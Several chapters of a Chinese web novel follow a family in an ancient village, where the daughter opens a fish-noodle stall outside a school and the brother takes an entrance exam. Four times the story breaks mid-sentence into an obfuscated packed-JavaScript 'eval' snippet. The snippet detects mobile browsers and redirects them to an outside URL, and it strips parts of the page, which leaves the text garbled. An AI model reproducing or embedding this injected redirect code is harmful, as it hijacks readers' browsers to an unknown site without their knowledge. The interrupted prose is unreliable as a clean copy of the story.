谁能搞到这笔银子，各凭本事。 今日在陆家村遇到陆小二，对方看人的眼神不正，引起了林书润的警惕，回到家，对儿子再三叮嘱。 听得林青叶一个头两个大：“我晓得，天下没有免费午餐，天上掉馅饼的事，多半有诈，要是我现在有个手机，我立马下载反诈App。” 给林书润逗笑了：“反正你眼睛擦亮点，别给人骗了。” 初三这日，一家人难得在家休息了一天。 不干活的时候，林书润会亲自下厨做饭，这天饭桌上，林芫花将自己打算在私塾摆摊的事情同父母说了。 上次包饺子没用完的面粉，被林书润拿来擀成薄薄的馄饨皮，裹上肉馅，捏住封口，经热水一沸，皮薄馅大，圆滚滚，白里透着粉色肉馅，可爱极了。 林芫花一口咬掉半只，泻出汤汁流淌在勺子里，漂浮着一层晶莹油花，绿色的是葱花，粉色的是瘦猪肉馅，肉馅剁得很细腻，清淡之余，鲜美异常。 她竖起大拇指：“老爸厨艺见长，包的馄饨越来也好吃。” 林书润被女儿哄得嘴角上扬：“还是食材的功劳，这里食材天然，土猪肉包的馄饨好吃。” “食材好，当然老爸的厨艺也好。”林芫花拍着马屁道。 陆英则一脸郑重询问：“想好做什么小吃摊吗？” 林书润道：“要不干脆卖馄饨吧！” 林芫花摇摇头：“私塾外有饺子摊，我开馄饨摊，两人成了竞品，而且饺子量大管饱，卖馄饨没什么优势。” 陆英夫妻俩一听话音，知道女儿在私塾外考察过，观察过人流量，确定可行，不是盲目跟风去摆小吃摊，说不定心里已经有了主意。 林芫花心里有了几个备选，年前，她在私塾听课，顺便观察了一段时间。 私塾分甲乙丙丁四个班，每个班大概有十几到二三十人不等，初入学的学子，大多分配到丁班，王村长家的孙儿王茂现在在丁班求学。 加上授课的夫子，私塾有好几十号人，除了学子和夫子，附近也有住户时常来小吃摊光顾。 馄饨吃了很快会饿，不顶饱，大多数食客可能会选择量大的饺子，做面食的话，猪肉与精细白.面价格不便宜，售价定的高，不好卖。 如果卖不出去，损失就大了。 受市集食肆卖鱼片粥的启发，林芫花想到了五谷渔粉： “在湖泊众多的临江城，鲜鱼不值钱，大米制成的米粉与荞麦面，价格低廉，拿来做渔粉，量大还管饱。” “做渔粉？”林书润越想越觉得这个小吃摊可行，送到嘴边的小馄饨一顿：“精细白.面价格贵，做馄饨饺子的话，成本高，如果能做渔粉，这不成本就降下来了。” “渔粉啊，说起来好久没吃鱼粉了，你要做的话，到时候给妈多做一份，妈给你开个张。”陆英说。 林青叶被老妈带偏，小学生式的举手：“林芫花，我也要一份。” 立马挨了林芫花一记脑瓜子拍：“哪哪都有你，记得给钱。” 吃过早饭，林书润带女儿到集市采买。 买好粗瓷碗筷，问杨小叔的鱼摊买来一尾鲜鱼，去铺子买来成品粗粮米粉与荞麦面…… 看女儿攒的两百文积蓄花去大半，林书润打算带她到钱庄取点银钱，被林芫花婉拒。 林书润纳闷：“出摊要用到的锅炉，都需要银钱，爸爸给你的银钱先用着，等你赚了再给我。” 给林芫花惊得睁大了眼：“老爸，你以前在单位上班，没出过摊吧。刚开始创业，当然是能省则省，尽量缩小成本，万一到时候小吃摊生意不好，不至于亏损太多，买铁锅买炉子，都是一大笔花销，我的计划是这样的，学着街头的扁担酸辣粉，用木桶盛鱼汤，背篓背去卖，这样能省下一大笔。如果买卖做的好，一点点慢慢添置。” 林书润轻轻颔首：“今时不同往日，咱家不比从前，试错风险低，就按你说的办，缺钱了记得跟爸说。” “知道了，你是我亲爸，我还能跟你客气不成。”林芫花把刚买来的粗粮粉和酸菜塞进老爸后背的背篓，憧憬着未来：“等我摆摊赚到银子，到时候你就不用去码头当搬运工了，可以做点别的小买卖。听说干这个容易脊椎劳损，对肺不好，杨叔有个亲戚就是伤了脊椎，还落下了肺病。” 林书润跟着女儿畅想未来：“等以后偿完债务，做点小买卖，买个大院子，在家里建个地笼，咱们一家人住，夏天吃冰，冬季睡暖炕，到时候我要多裁几身衣服，天天穿一件冬衣，我身上味儿都馊了。” 林芫花哈哈大笑：“是有味儿，我也馊了，真希望春天快点到来。” …… 天不亮，林芫花端着盏油灯来到厨房，敲晕黑鱼，刮鳞破肚，片出鱼片，加葱姜丝和食盐，少许绿豆淀粉，抓拌出浆，腌制十来分钟。 利用腌制鱼片的空闲，将斩好的鱼骨块下锅，煎得两面金黄，切碎的酸菜，煸出酸香，添入提前烧好的开水。 沸水这么一滚，在蛋白质的作用下，清澈的开水立时变作牛奶白的汤色，犹如一场神奇魔法，不需要任何科技狠活，也能煮出漂亮的奶汤。 趁着煮鱼汤的时间，另一只铁锅的水烧开了，给粗粮粉面下锅。 鱼汤沸腾后，翻起小水泡泡，水蒸气裹挟着香气往外飘。 推开东厢房门，林书润听到身后床榻里传来妻子的声音：“好香啊！” 冬天喝上一碗热汤，能暖上一整天。 陆英被美食吸引，惦记着渔粉，躺下后再无睡意，索性套上棉袄，下了床。 不等洗漱，陆英来到厨房，看到自家闺女往锅里均匀撒下鱼片，看着灶台两只粗瓷碗盛着满满鱼片，纳闷道：“怎么不一次煮完？” “出摊晚一点，煮早了，鱼片不够嫩，这一锅煮好，咱们先吃。”说话间，林芫花从锅中捞出粗粮粉面，铺在碗底，舀上两勺鱼片鱼汤，最后撒上一把葱花。 陆英抱着渔粉碗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473601|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸溜着面条：“粉面爽滑劲道，鱼汤很鲜，还不错，分量这么多，花花打算卖多少一碗？” 林芫花想了想，比出一只巴掌：“我看私塾外八个肉沫菜饺，零星点肉沫，沾了点荤腥，最便宜要六文钱。我的渔粉分量比饺子给的足，卖个五文钱，应该会有人买吧！” 林书润抿了一口鱼汤：“鱼味浓而不腥，一碗有七八片鱼肉，分量足，卖五文钱，还算实惠。” 林青叶起床时，赶上父母在吃早饭，埋怨说：“你们吃好吃的，怎么不叫我？” 第一次摆摊，老爸担心她，跟她商量，让林青叶陪着去一趟私塾，晚些再去码头。 于是林芫花没煮他的份，摊开手：“谢谢惠顾五个铜板。” 林青叶掏出五个铜板，左右环顾：“渔粉呢？” “等着，一会儿跟我去私塾。”林芫花抛下他，去了厨房，过凉水的粗粮粉面放到容器，剩下的鱼片，下到锅里氽烫。 鱼片一变色，立即捞出，约莫七八成熟，剩下的余温能烫熟，这样口感会嫩些。 滚烫的鱼片鱼汤盛进干净木桶里，盖上盖子，木桶四周裹上花棉布保温。 将木桶与粗粮粉面放到背篓，林青叶背着背篓，林芫花则挎着只菜篮子，行走间，能听见碗筷相撞的清脆声。 告别了母亲陆英，此时东方既白，姐弟俩出了院子，朝私塾过去。 步行一刻钟，抵达私塾外。 这个时间，私塾外的街道萦绕着烟火气，贩子们各自招揽着生意，见到林芫花这张熟面孔，多瞧了几眼。 见她带着个陌生少年，两人卸下背篓后，开始规整木桶…… 她用筷子挑来些粉面，舀上汤汤水水，然后递给陌生少年。 那人蹲在她摊位旁，吸溜着粉面，少年模样不俗，吸引了驻足的食客…… “好狡猾！” 让自己人伪装食客，这不，立马吸引到了一位食客上前询价：“这是鲜鱼面？” 看到小胖子王茂，林芫花绽开笑颜，指了指炭笔写的木牌子：“是杂粮渔粉，用鱼汤熬成的汤底，各种粗粮粉面，五文钱一碗，很鲜哦！” 王茂今日吃了一碗面粉做的疙瘩汤，美滋滋，此刻见到渔粉，又觉得馋了。 面粉精贵是精贵，就是吃着没肉味。 他瞧林青叶大口大口吃得很美，鱼香肆意，香气不停地往人的鼻子里钻，吞咽了口水：“可惜我今日在家吃了的，我下次一定光顾你。” 林芫花没有因为做不成买卖拉下脸，仍旧笑嘻嘻：“没关系，下次有空尝尝，等我有时间给你做烤鱼籽吃。” “烤鱼籽？”光是想象那个画面，馋得王茂直流口水。 余光扫到好友往其它小摊过去，王茂抬手打招呼：“陶祥，这边。这是我阿姐的朋友，她家卖的渔粉，可好吃了，你买一碗吃吃看。” 陶祥瞧一眼林青叶，又看看木牌：“来一碗吧！” 又扭头问王茂：“你要吃吗，我请你？” 王茂摸摸肚子：“不了，今天在家吃了疙瘩汤，我先去学堂，你慢慢吃。” 说完，王茂退走，临走前，还冲林芫花眨了眨眼，算是请自己吃烤鱼籽的报答。 莫名其妙开了张，对林芫花来说，是一个好兆头。 收好铜钱，她给食客盛好渔粉。 接过递来的一碗渔粉，陶祥一下子被漂亮的卖相吸引。 颜色交错的粉面，铺着数片羊脂白玉的雪白鱼片，油润润的光泽，稠白的汤水，漂浮着一层金黄菜籽油，夹杂着酸菜，鱼片上点缀着葱花，光是卖相就很好，比其它小摊看着有食欲多了。 放凉的面条融入进滚烫鱼汤，变得温热，正适合下筷，米粉荞面一送进嘴巴，不坨，很有嚼劲。 羊脂白玉的鱼片，煮得恰到好处，水汪汪，入口无渣，没有鱼刺，嫩到不可思议。 捧着粗瓷碗，饮下一口汤，陶祥惊讶汤水咸鲜得宜，调味正好，多一分咸了，少一分则淡，属于酸菜独有的酸香，唤醒了沉睡的味蕾。 一夜安睡，冬日天不亮早早起床上学堂，没胃口吃饭，鱼汤中的酸菜有提味的效果，正好戳中了他的心坎：“好鲜，好香，掌柜的，怎么以前没看到你摆摊？” 14. 醋溜白菜 林芫花回：“我今日才来私塾摆摊。” 陶祥又问：“那你今日还来听课吗？” 他认得她，时常在学堂外偷听夫子讲课，被董夫子抓包过似乎是王家村的，经常跟王茂一起回家，听说在码头熬鱼杂羹，没想到做的渔粉也这么美味。 林芫花：“这不摆摊吗，看情况。” 陶祥点点头，自顾自吃粉去了。 林芫花移开目光，因为这时候摊位前停了位裹着长袄的微胖中年男人，她顺嘴招呼着：“一早新鲜现杀的活鱼，很鲜的，要尝尝吗？” 她瘦得下巴尖尖，一双圆圆的杏仁眼，嵌了水晶似的漂亮，本只是被香气吸引过来，对上林芫花巴巴望来的目光，谁能拒绝明媚得跟春日暖阳的小姑娘呢？ 这会子距离去铺子上工还早，于是他扫一眼价格木牌，低头从钱袋子数出几枚铜板：“五文钱的渔粉，倒是不贵，麻烦给我来一碗。” “不麻烦。”林芫花接来铜板，麻利盛好一碗渔粉递过去。 两人来的路上，她提前交代过林青叶，尽量拖延时间，吃得慢些，做活广告，好吸引路过的食客。 林青叶记得自己的任务，私塾外位置较好的摊位，早早被人占去，他们所在的区域在边边角角，新开的小吃摊没有回头客，摊位前有人经过时，故意夸张地大口大口吸溜，无人时，放缓了进食速度。 三人蹲在摊位旁嗦粉，成了活招牌，陆陆续续吸引来三三两两的食客。 有人见林芫花瞧着面生，年纪小，犹豫不定地停下脚步，往蹲着的三人碗里瞧去，色彩搭配的粗粮粉，飘着金黄油脂的鱼汤，白雪似的鱼肉，闻着就很香。 “喂，兄弟，这家渔粉咋样？” 着长袄的中年男子艰难从粗瓷碗里抬起头来，回了句：“便宜量大，味道还好，尤其这碗鱼汤，真是精华。” 问话的人听了，本就饥饿的肠胃，闻着鲜鱼汤更饿了，掏出铜钱要了一碗。 接过渔粉，跟着蹲到一旁，筷子还没拿稳，迫不及待品尝了口鲜鱼汤。 因为添了放凉的面条，鱼汤温热，不烫嘴，舌尖口腔里充斥着鱼汤的鲜，果然很香。 捧雪似的雪白鱼片，颤悠悠，仿佛向着食客招手，他用筷子夹来鱼片送来。 不同于温热的鱼汤，鱼片滚烫，牙齿上下一抿，立即就化掉。 他轻轻咦了声，惊讶与黑鱼片的水嫩无渣，又惋惜因为摊主保存事物的方式，使得这碗渔粉的风味大打折扣。 如果是现煮现烫，这碗渔粉起码比现在美味三分！ 不过比起私塾外大部分平平无奇，经常不是咸了就淡了，有失水准的小吃摊强多了，味道恰到好处，咸淡得宜，如果摊主能现煮就更美味了。 林青叶吃完渔粉，木桶里还剩下两碗的量，林芫花让他帮忙看着小摊，她还没吃。 陶祥与中年男子吃完渔粉离开后，小摊只剩下林芫花和长袄男子。 在林青叶的热情招呼下，卖掉最后一碗渔粉。 送走最后一位食客，林青叶要送她回家，然后折返去码头。 林芫花尝试着背上竹篓，分量不轻，能坚持住：“不用你送，我自己回去，省得你多走一趟路。” 林青叶双手抱胸：“真不要我送，那我不管你了啊！” “我又不是三岁小孩，路上累了，我不会歇歇脚吗？”林芫花转过身，背着竹篓大步往前走。 走出几步，感觉身后背篓一轻，她向身后看去，林青叶帮忙托着竹篓底部：“真不要？” 林芫花：“不要，你也累了一上午，忙你的去。” 林青叶没再说什么，走一步，三回头：“那我明天还跟着你来卖渔粉。” 林芫花：“知道了。” 回到家，放好摆摊的物件，她到村长家看了会儿书，回家烧午饭，把腊肉腊鱼拿到廊下悬挂风干…… 饭桌上，林芫花跟母亲陆英盘算今日的收获：“两斤多重的黑鱼，因为是熟人，杨小叔给我便宜两文钱，只收了十八文，今日用的粗粮粉，大概六文钱，加上油盐酱醋，消耗的柴火，我卖五文钱一碗渔粉，大概每碗能赚到两文钱呢！黑鱼能片八十多片，我今日一共做了十碗。” 陆英替女儿欢喜：“你今日一共准备了十碗，刨去自己吃掉的一碗，我们的都给了银钱，纯利润能有十八文，刚开始摆摊，第一天能全部卖完，很不错了，等以后生意好了，每天卖二十碗，三十碗，比我在成衣铺子上工挣得还多。” 林芫花对未来几天的摆摊抱有期待：“我才刚摆摊，没有回头客，要是卖不完就糟了，先试营业几天看看。” 陆英夹了醋溜白菜到碗里，扒着米饭一块儿送进嘴，顿时双眼放光，方才望见廊下的腊肉，念叨着什么时候才可以品尝美味腊肉的人，此刻感叹道：“这醋溜白菜好吃，拿肉都不换。” 冬日的白菜口感脆脆的，甜滋滋，油热后，加蒜末一爆出香气，大火翻炒着白菜，每一片均匀受热，色泽鲜亮，临出锅前，添了香醋，白菜酸酸甜甜，清新脆嫩，回味带着一丝丝食材的甘甜，很开胃。 陆英扒完一碗米饭，忍不住又添了小半碗，最后碗底的一点醋白菜汤汁，也被她拿来拌着米饭吃，实在太费米饭了。 次日一早，林芫花带着林青叶一起摆摊去了。 还未来到私塾外，大老远瞧见有人等候在她们摆摊的地方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485200|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看背影有点眼熟，可不正是村长家的宝贝孙儿，王茂？ “可算来了，我等了好久，这个天真冷哇。”王茂跺跺脚，哼唧道：“昨天陶祥跟我说渔粉多么多么好吃，我又没吃过，可馋死我了。” 所以今日一大早，他死活不肯在家吃疙瘩汤，阿娘说要给他煮鸡蛋面，王茂也不想吃，最后还是阿爹疼他，给了铜板。 王茂还没捂热乎的铜板，立马掏了出来：“快给我来一碗。” “稍等，马上好。”林芫花安抚说，手脚麻利地盛好一碗渔粉递来。 王茂率先尝了一筷子粉面条，入口爽滑，表面裹着一层鱼汤油水，然后夹起雪白鱼片，看着弹弹的，抿在嘴巴里水水的，仿似融化的雪，只剩下满口的鱼香。 当他埋头喝了一口鱼汤，咸鲜的味觉在舌尖一触即离，忍不住低头再多喝几口，这时听到摊位前传来熟悉的声音：“陶祥，昨天我看见你吃了这家渔粉，今天又吃啊，你不腻？” 陶祥：“你又不是不知道，我喜欢吃一样食物，会一连好几天吃，直到吃腻。” 扫到蹲在一旁的食客，陶祥吃惊：“王茂，你也来吃渔粉？” 王茂打量陶祥和张阳，自己最讨厌张阳了，偏偏陶祥也跟张阳一起玩，他不想搭理陶祥，低头闷闷吃渔粉。 被无视，陶祥一噎，端来碗渔粉故意挨着王茂一起吃。 王茂跟个内向小姑娘一样，别别扭扭往旁边挪。 陶祥也跟着挪。 王茂：“离我远点。” 陶祥：“你生气了，你为什么生气？” 两个小男生小学鸡吵架，林芫花的余光瞟来几眼，两人言语上冲突，以为是什么天大的事情，听了一耳朵，好像是王茂带着两块糕点给朋友们分享，结果被张阳一股脑儿全塞嘴巴里。 好吧，对于吃货来说，的确是天大的事情。 代入一下，如果林青叶一口咬掉她大半只冰淇淋蛋筒，林芫花拳头都硬了。 眨眼功夫，又来客人了。 “难怪昨日你没来听课，原来是在支摊。”来人一身书卷气，打扮得很精神。 “董夫子，这是我自己做的渔粉，要来一碗尝尝吗，不收钱，权当我孝敬您的，感谢您送我千字文，让我现在能认字看书。”林芫花说。 一旁的王茂、陶祥等三人见了董夫子，纷纷问好，如临大敌。 董夫子轻轻颔首：“你们三个好像都是今年从丁班晋升丙班的，这里不是学堂，你们倒不用怕我。等到了月末月考时，再怕也不迟。到时候私塾会新招收一批学子，你们三人连新入学的学子都考不过的话，呵呵……” 听得三人后背一寒。 15. 烤鱼籽 冷脸教训完三名学子，董远致对林芫花和煦道：“不差你几个铜钱，小小年纪做买卖不容易，五个铜板是吧，来一碗。” 她正想推拒，被董远致打断：“你不肯收银钱，莫不是瞧不起夫子只是个臭教书的？” 林芫花只好收下铜板，道：“我只是个臭摆摊的，夫子不嫌弃就好。” 这厢两人有说有笑，那厢三人为董夫子翻脸比翻书还快的脸色和语气，惊得瞠目结舌。 以前在丁班时，他们何时见过董夫子待人如此和颜悦色过？ 不，也有过。 不过，董夫子都是对课业拿甲等的甲班天之骄子们平易近人过。 董夫子面对他们疾言厉色，见到林芫花后，和蔼可亲的模样，令三人百思不得其解。 董远致端了碗渔粉，正欲轻掀衣摆蹲下。 挨着林芫花旁边的摊贩子走了上前，为了生计奔走在下九流行当之人，对读书人有着天然的崇敬，董夫子虽面冷，人却不错，时常帮忙给大家看书信，于是恭敬送来只矮凳，不安地搓搓手：“夫子，您坐。” “有劳，多谢。”董远致道。 得了董夫子道谢，小贩欢欢喜喜回到摊位。 董远致坐在矮凳，开始品尝渔粉，比起荞麦面和粗粮粉，他更喜欢精细的面粉吃食，浸在渔粉里吃着爽滑，吸收了鱼汤，味道尚可，鱼片烫得稍过两分火候，胜在调味得宜，汤底味鲜而不腥，许是一开始对她期待太低，竟比意料之外的还要美味。 小姑娘日日天不亮倒码头上工，棉袄沾染着烟火气，午时要给家人做饭，还能利用空闲时间在私塾自学，这份毅力与韧劲，董夫子看在眼里，也会为林芫花的求学向上之心动容。 常人道，有教无类。 所以他送她千字文，盼她日日积累，虽说女子不能科考，起码能看懂账本、身契，将来不至于稀里糊涂被人蒙骗，按了卖身契的手印。 能识字认字的女子，比目不识丁的村女，将来多一种可能也说不定。 至于王茂三人，在同村之中家庭相对优渥，通过父辈祖辈们几代人的积累，终于有能力托举子孙们入学堂，他们能坐在窗明几净的学堂做学问，是因为面朝黄土背朝天的长辈们无私的付出。 生于农耕之家，能读书的机会实在太难得，本应该比寻常人家更刻苦才对，偏王茂等三人基础课业差，不开窍，董远致怒其不争，又心知农户家走出的学子启蒙晚，远远比不上书香门第的耳濡目染。 林芫花聪慧又上进，董远致自是对她宽容几分。 吃渔粉的功夫，林芫花靠着嘴巴甜，看见年轻的喊哥姐，年龄略大些喊叔婶，眨眼功夫，又卖出去好几碗。 他瞧着小姑娘大大方方，半点没有怯弱感，看着讨喜。 吃完渔粉，还了碗筷，董远致站在学堂，远远眺望到街道角落的小姑娘送走最后一位食客，姐弟俩开始收拾摆摊的物什，远去的粉色衣角，宛若暖阳里的迎春花。 第三日，林芫花没能去私塾摆摊，因为一场突如其来的大雪，阻碍了摆摊的计划。 立春后，进入倒春寒，昨晚开始落雪，听到雄鸡打鸣声，推开窗子，院子里一片白茫茫。 “糟了，我的鱼。”林芫花匆匆赶到厨房，养在木盆的黑鱼一动不动，砸开表层的薄冰，能看到鱼鳃活动。 幸好，还是活的。 “不然我要损失十八文钱了。”她把木盆端到自己房里养着，时不时更换清水，防止结冰。 这场大雪不但阻碍了摆摊，码头也去不成了。 午时，提前煮好饭菜热在灶台，等母亲陆英回家吃午饭，林芫花出了厨房，见林青叶冲她招手。 她没搭理他，林青叶神神秘秘：“快来快来，我发现了东西。” 被勾起好奇心，林芫花踩着咯吱咯吱的雪靠来，好奇：“哪里？” “看，天上。” 听到林青叶的话，她一抬头，只见头顶密密麻麻的雪影兜头罩下，面上一冰，脖颈一凉，还有不少积雪偷偷溜进里衣里，凉得打哆嗦。 意识到自己被耍了，林芫花拳头硬了，咬牙切齿：“林青叶，你完了。” 陆英回来时，经过院里桃树，盯盯地上的雪，又看看桃树，然后听见堂屋里姐弟俩打闹声，继而是林青叶求饶：“我错了，姐姐，你是我亲姐姐。” “晚了，今天看我不把你耳朵拧下来。”女儿林芫花的声音。 听见院里的脚步声，林青叶跟发现了救命稻草般：“妈，姐姐打我，你管管她。” 熟知林青叶贱嗖嗖的秉性，没有一顿打是白挨的，陆英平时从不插手姐姐揍弟弟的事，反正姐姐揍完弟弟，不揍她就行。 陆英耸耸肩，表示爱莫能助，去了厨房。 次日雪停后，开始化雪，泥巴地到处湿漉漉，容易摔跤，可林芫花担心黑鱼翘辫子，让自己损失惨重，小本经营，亏不起啊！ 所以第三日她步行去私塾摆摊了，刚到地方，还没规整好物件，很快来了位回头客。 着长袄的中年男子一脸幽怨，递来铜板：“给我来一碗渔粉，你怎么好几日不出摊，我来好几次了，都遇不到？” 林芫花接过铜板，妥帖地收到钱袋子里：“抱歉，因为下雪不方便出门。” 这天北风呼呼风，跟冰刀子似的，十碗渔粉很快售竭。 回家路上，她想着有了回头客，或许可以买条三斤重的黑鱼，多做点渔粉卖，多挣点小钱钱。 买鱼时，杨小叔送了些鱼籽鱼杂，林芫花想到自己还欠王茂小朋友的烤鱼籽，说干就干。 傍晚，一半做了酱鱼杂锅子，另一半鱼籽被她拿来炭烤。 说是炭烤，其实是灶膛的柴火灰堆就，利用高温炙熟，鱼籽表面被刷上一层菜籽油，烤的金黄黄，八分熟时，刷上一层红酱，烤得滋滋冒油，鱼籽表层覆盖一层蜜色油脂，从厨房飘出香气，惊动了隔壁宋婶，探头来瞧：“好香，你家又做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489036|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好吃的？” 隔着院墙，林芫花给宋婶递去几串烤鱼籽：“婶子不嫌弃的话，尝个鲜。” 宋氏的确被馋到了，没拒绝，打算回头给林家送点食材，有来有往，远亲不如近邻嘛。 回到厨房，林芫花用油纸包包好一份烤鱼籽，让林青叶送去村长家，马上可以开饭了。 拿到烤鱼籽，王茂都快忘记这茬，一层层揭开油纸包，酱香与烟熏火燎气扑鼻而来，饭桌上，一家人都凑了过来。 正好赶上饭点，王有德留林青叶吃饭，被对方拒绝：“谢谢村长爷爷，我家饭菜也好，东西送到，我回家吃饭了。” “这个烤鱼籽好吃，爷爷你尝尝，焦焦粉粉的。”说话的，正是孙儿王茂，边说边递来一串。 另一边，林家饭桌上，林芫花撸着烤鱼籽，感叹：“要是撒点孜然粉，辣椒面，鱼籽更香。” 这日摆摊，三斤多重的鲜鱼，能出十五碗左右的渔粉，比之前多卖了一刻钟，才全部卖完。 每日的利润，从原来二十文钱，增长到三十文。 小吃摊生意逐渐有了起色，林芫花开始盘算着攒钱添置摆摊的物件，小推车，铁锅，烧火的铁炉子等，光是这三件，得花费一两多银子。 不如先攒钱买小推车，来回轻便些，省得林青叶每每送她去私塾。 估摸着月底能攒到买小推车的银钱，这样盼着望着，元宵休完假，来到了月末。 这日一早，董夫子来光顾摊上的渔粉，林芫花听对方与另一位夫子谈论起入学应试的话题，类似现代学校招生，入学考试。 吃完渔粉，董夫子几人抬步离开，她追了上去：“夫子，既然是入学应试，可不可以让我阿弟参加，测测他的水平？” 董远致顺着她的目光，移至小摊边伸懒腰打哈欠的少年，懒懒散散的模样，模样生得不错，就是看样子不像脑子灵光的。 犹豫时，又听小姑娘迫切地语调：“我阿弟也学了千字文，父亲打算将来家里有了积蓄，让他上学堂。” “可，那便让他先测一测水平。”看在林芫花的份上，董远致松了口。 林芫花要摆摊，脱不开身，于是林青叶跟着董夫子几人去了学堂，参加今日的入学应试。 距离上次坐在学校教师，才过去几个月，林青叶恍若隔世。 拿到试卷后，他乐了，默写论语？ 之前他倒是忘记《论语》怎么背诵，这段时日天天听林芫花念叨，念叨得耳朵起茧子了，几乎倒背如流。 还有，这不是小学的算数题吗？ 董远致经过时，林青叶正在默写《论语》，眼角扫到他狗爬的字迹，眼角一抽，懒得看。 也是，一个初初学会千字文的少年，从前接触的只有泥巴和庄稼，这次入学应试的题目超乎以往的水平，涉及到的算术部分，连丙班的学子都不一定能答得上来。 林家出了一个聪慧的林芫花，已是祖坟冒青烟了。董致远想。 16. 琥珀腊肉 当林青叶交完试卷，探头出窗子，发现林芫花摊位前还剩一位食客，同夫子道谢，返回摊位。 一见到他，林芫花问：“题目难不难？” “算数还行，其它不太好。”林青叶散漫说：“你这边没事的话，我去码头了。” 林芫花帮弟弟争取应试机会，想测测他的水平，没太抱希望，一心二用想着自己攒的存款足够买一辆小推车，等吃过午饭，去临江城的木匠铺子里转转…… 经过一月的晾在檐下风干腊肉腊鱼水分被蒸发，经过热水一烫，腊味的香气被带了出来。 焯掉腊肉表面的灰尘，放到菜板晾凉，刀锋一划，立时淌出蜂蜜色的油脂。 薄薄的一片腊肉，几近透明，似琥珀水晶，诱人极了。 经过煸炒，临出锅前撒上一把大蒜叶，刹那香气弥漫在整个厨房。 陆英推开院门时，闻见浓郁的蒜苗辛香，口腔不自觉开始分泌唾液。 蒜苗有杀虫解毒，醒脾气，消谷食消积等作用，独特的辣味素，能起到开胃健脾的作用。 伸长脖子往桌面一瞧，一碗萝卜丝煎蛋，一碟子蒜苗炒腊肉，陆英连忙到院里水井洗了把手，返回堂屋。 落座后，端起面前的饭碗，陆英目光紧盯烟火气十足的腊肉，手上给自己舀了些萝卜丝，嘴上道：“这家成衣铺子掌柜太抠门，我打算换一家铺子干，今天最后一天，新铺子管饭，打从明日起，我不回家吃午饭了。” 林芫花点头：“好啊，天天往返临江城好几趟，路上通勤怪累的。” “是有点累。”陆英嘴里咬着萝卜丝，奇道素萝卜没滋没味，与煎蛋一相逢，看似平平无奇的汤，有萝卜的清甜，又很鲜。 咽下口中的食物，她道：“不过，每天回家路上想着家里今天午饭晚饭会吃什么，倒也不觉得累。” 吃过了萝卜丝煎蛋，陆英终于将筷子伸向自己盯了许久的腊肉炒蒜苗，一筷子夹起腊肉，这片偏肥，瘦肉被煸得焦干，肥肉部分则是晶莹剔透，油脂裹着咸香腊味，金黄透亮，看得人挪不开眼。 腊肉入口，咸香味在舌尖漫开，陆英总觉得差点什么，第二筷子，往腊肉上放来一小撮蒜苗，将二者一道送进口中。 咸腊肉包着一汪油脂，在口腔里爆开，蒜苗的微微辛辣与鲜嫩，很好的中和了腊肉的油香，鲜而不腻。 扒完一碗米饭，陆英还不满足，摸摸肚子上的肉肉：“我最近是不是胖了？” “不胖，这样挺好，在吃不饱的年代，只有富贵人家才能养得珠圆玉润，这样才好看。”林芫花说。 在女儿的劝说下，陆英半推半就喝下半碗萝卜丝煎蛋汤，怎么也不肯碰米饭了。 女儿烹饪的饭菜太美味怎么办？ 陆英很苦恼，照这个饭量下来，家里米缸要遭不住。 午饭后，林芫花去村长家玩耍。 王依依问起今早私塾入学应试的事，关切询问：“你弟弟考得怎么样？” 林芫花不意外，王依依能知道入学应试，多半是她弟弟王茂告知：“好像不乐观。” 王依依安慰说：“你弟弟林青叶启蒙太晚，白日在码头干活，晚上刻苦认字，很勤奋了，我弟弟王茂最近不知怎么的，每天学到很晚，好在努力有了收获，靠近了丙班，给我阿爷阿爹高兴坏了。” 说话间，估摸着杨春杏要到了，林芫花跟王依依告别，王依依交代下次可以把朋友带来认识。 杨春杏每天天不亮要去码头做活，帮母亲操劳家务，入夜早早歇下，第二天去码头做工，周而复始，休息的两日里还会抽空来王家村，一个月认六个字，竟也坚持下来了。 王依依听后，对杨春杏抱有好感，有意相交。 回自己院子，大老远林芫花瞧见蹲在自家门口的杨春杏。 “小春，来了多久，怎么不去院子里等我？”对方来过好多回，左右街坊邻居都认得杨春杏，林芫花拉着人进了院子，搬来两只矮凳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 